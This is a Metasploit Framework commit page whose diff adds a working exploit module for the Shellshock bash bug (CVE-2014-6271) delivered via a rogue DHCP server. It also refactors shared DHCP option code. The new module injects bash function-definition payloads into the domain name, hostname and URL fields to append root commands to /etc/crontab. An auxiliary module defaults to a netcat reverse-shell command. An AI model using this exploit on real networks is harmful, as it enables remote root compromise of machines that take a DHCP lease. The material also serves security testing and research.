Skip to content

Commit 1fa488f

Browse files
committed
Land rapid7#3893, @jlee-r7's exploit module for DHCP CVE-2014-2014-6271
2 parents 38c8d92 + e1f00a8 commit 1fa488f

File tree

6 files changed

+133
-47
lines changed

6 files changed

+133
-47
lines changed

lib/msf/core/exploit/dhcp.rb

Lines changed: 18 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,24 @@ module Msf
1212
module Exploit::DHCPServer
1313

1414
def initialize(info = {})
15-
super
15+
super(update_info(info,
16+
'Stance' => Msf::Exploit::Stance::Passive,
17+
))
18+
19+
register_options(
20+
[
21+
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
22+
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
23+
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
24+
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
25+
OptString.new('ROUTER', [ false, "The router IP address" ]),
26+
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
27+
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
28+
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
29+
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
30+
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
31+
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
32+
], self.class)
1633

1734
@dhcp = nil
1835
end

lib/rex/proto/dhcp/constants.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,9 +19,9 @@ module DHCP
1919
OpLeaseTime = 0x33
2020
OpSubnetMask = 1
2121
OpRouter = 3
22+
OpDomainName = 15
2223
OpDns = 6
2324
OpHostname = 0x0c
24-
OpDomainname = 0x0f
2525
OpURL = 0x72
2626
OpEnd = 0xff
2727

lib/rex/proto/dhcp/server.rb

Lines changed: 17 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ def initialize(hash, context = {})
9595
self.pxepathprefix = ""
9696
self.pxereboottime = 2000
9797

98-
self.domainname = hash['DOMAINNAME'] if hash.include?('DOMAINNAME')
98+
self.domain_name = hash['DOMAINNAME'] || nil
9999
self.url = hash['URL'] if hash.include?('URL')
100100
end
101101

@@ -129,7 +129,7 @@ def set_option(opts)
129129
allowed_options = [
130130
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
131131
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
132-
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domainname, :url
132+
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
133133
]
134134

135135
opts.each_pair { |k,v|
@@ -154,10 +154,11 @@ def send_packet(ip, pkt)
154154
end
155155

156156
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
157+
attr_accessor :domain_name
157158
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
158159
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
159160
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
160-
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :domainname, :url
161+
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
161162

162163
protected
163164

@@ -169,7 +170,7 @@ def monitor_socket
169170
wds = []
170171
eds = [@sock]
171172

172-
r,w,e = ::IO.select(rds,wds,eds,1)
173+
r,_,_ = ::IO.select(rds,wds,eds,1)
173174

174175
if (r != nil and r[0] == self.sock)
175176
buf,host,port = self.sock.recvfrom(65535)
@@ -201,19 +202,19 @@ def dispatch_request(from, buf)
201202
end
202203

203204
# parse out the members
204-
hwtype = buf[1,1]
205+
_hwtype = buf[1,1]
205206
hwlen = buf[2,1].unpack("C").first
206-
hops = buf[3,1]
207-
txid = buf[4..7]
208-
elapsed = buf[8..9]
209-
flags = buf[10..11]
207+
_hops = buf[3,1]
208+
_txid = buf[4..7]
209+
_elapsed = buf[8..9]
210+
_flags = buf[10..11]
210211
clientip = buf[12..15]
211-
givenip = buf[16..19]
212-
nextip = buf[20..23]
213-
relayip = buf[24..27]
214-
clienthwaddr = buf[28..(27+hwlen)]
212+
_givenip = buf[16..19]
213+
_nextip = buf[20..23]
214+
_relayip = buf[24..27]
215+
_clienthwaddr = buf[28..(27+hwlen)]
215216
servhostname = buf[44..107]
216-
filename = buf[108..235]
217+
_filename = buf[108..235]
217218
magic = buf[236..239]
218219

219220
if (magic != DHCPMagic)
@@ -296,6 +297,8 @@ def dispatch_request(from, buf)
296297
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
297298
pkt << dhcpoption(OpRouter, self.router)
298299
pkt << dhcpoption(OpDns, self.dnsserv)
300+
pkt << dhcpoption(OpDomainName, self.domain_name)
301+
299302
if self.servePXE # PXE options
300303
pkt << dhcpoption(OpPXEMagic, PXEMagic)
301304
# We already got this one, serve localboot file
@@ -320,7 +323,6 @@ def dispatch_request(from, buf)
320323
pkt << dhcpoption(OpHostname, send_hostname)
321324
end
322325
end
323-
pkt << dhcpoption(OpDomainname, self.domainname) if self.domainname
324326
pkt << dhcpoption(OpURL, self.url) if self.url
325327
pkt << dhcpoption(OpEnd)
326328

modules/auxiliary/server/dhclient_bash_env.rb

Lines changed: 10 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -46,34 +46,27 @@ def initialize
4646

4747
register_options(
4848
[
49-
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
50-
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
51-
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
52-
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
53-
OptString.new('ROUTER', [ false, 'The router IP address' ]),
54-
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
55-
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
56-
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
57-
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
58-
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
59-
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
49+
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
6050
], self.class)
51+
52+
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
6153
end
6254

6355
def run
6456
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
6557

58+
hash = datastore.copy
59+
hash['DOMAINNAME'] = value
60+
hash['HOSTNAME'] = value
61+
hash['URL'] = value
62+
6663
# This loop is required because the current DHCP Server exits after the
6764
# first interaction.
6865
loop do
6966
begin
70-
start_service({
71-
'HOSTNAME' => value,
72-
'DOMAINNAME' => value,
73-
'URL' => value
74-
}.merge(datastore))
67+
start_service(hash)
7568

76-
while dhcp.thread.alive?
69+
while @dhcp.thread.alive?
7770
select(nil, nil, nil, 2)
7871
end
7972

modules/auxiliary/server/dhcp.rb

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -30,19 +30,6 @@ def initialize
3030
'DefaultAction' => 'Service'
3131
)
3232

33-
register_options(
34-
[
35-
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
36-
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
37-
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
38-
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
39-
OptString.new('ROUTER', [ false, "The router IP address" ]),
40-
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
41-
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
42-
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
43-
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
44-
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
45-
], self.class)
4633
end
4734

4835
def run
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/dhcp'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::DHCPServer
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Dhclient Bash Environment Variable Injection',
17+
'Description' => %q|
18+
When bash is started with an environment variable that begins with the
19+
string "() {", that variable is treated as a function definition and
20+
parsed as code. If extra commands are added after the function
21+
definition, they will be executed immediately. When dhclient receives
22+
an ACK that contains a domain name or hostname, they are passed to
23+
configuration scripts as environment variables, allowing us to trigger
24+
the bash bug.
25+
26+
Because of the length restrictions and unusual networking scenario at
27+
time of exploitation, we achieve code execution by echoing our payload
28+
into /etc/crontab and clean it up when we get a shell.
29+
|,
30+
'Author' => [ 'egypt' ],
31+
'License' => MSF_LICENSE,
32+
'Platform' => ['unix'],
33+
'Arch' => ARCH_CMD,
34+
'References' =>
35+
[
36+
['CVE', '2014-6271'],
37+
],
38+
'Payload' =>
39+
{
40+
# 255 for a domain name, minus some room for encoding
41+
'Space' => 200,
42+
'DisableNops' => true,
43+
'Compat' =>
44+
{
45+
'PayloadType' => 'cmd',
46+
'RequiredCmd' => 'generic bash telnet ruby',
47+
}
48+
},
49+
'Targets' => [ [ 'Automatic Target', { }] ],
50+
'DefaultTarget' => 0,
51+
'DisclosureDate' => 'Sep 24 2014'
52+
))
53+
54+
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
55+
end
56+
57+
def on_new_session(session)
58+
print_status "Cleaning up crontab"
59+
# XXX this will brick a server some day
60+
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
61+
end
62+
63+
def exploit
64+
hash = datastore.copy
65+
# Quotes seem to be completely stripped, so other characters have to be
66+
# escaped
67+
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
68+
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
69+
hash['DOMAINNAME'] = "() { :; };#{echo}"
70+
if hash['DOMAINNAME'].length > 255
71+
raise ArgumentError, 'payload too long'
72+
end
73+
74+
hash['HOSTNAME'] = "() { :; };#{echo}"
75+
hash['URL'] = "() { :; };#{echo}"
76+
start_service(hash)
77+
78+
begin
79+
while @dhcp.thread.alive?
80+
sleep 2
81+
end
82+
ensure
83+
stop_service
84+
end
85+
end
86+
87+
end

0 commit comments

Comments
 (0)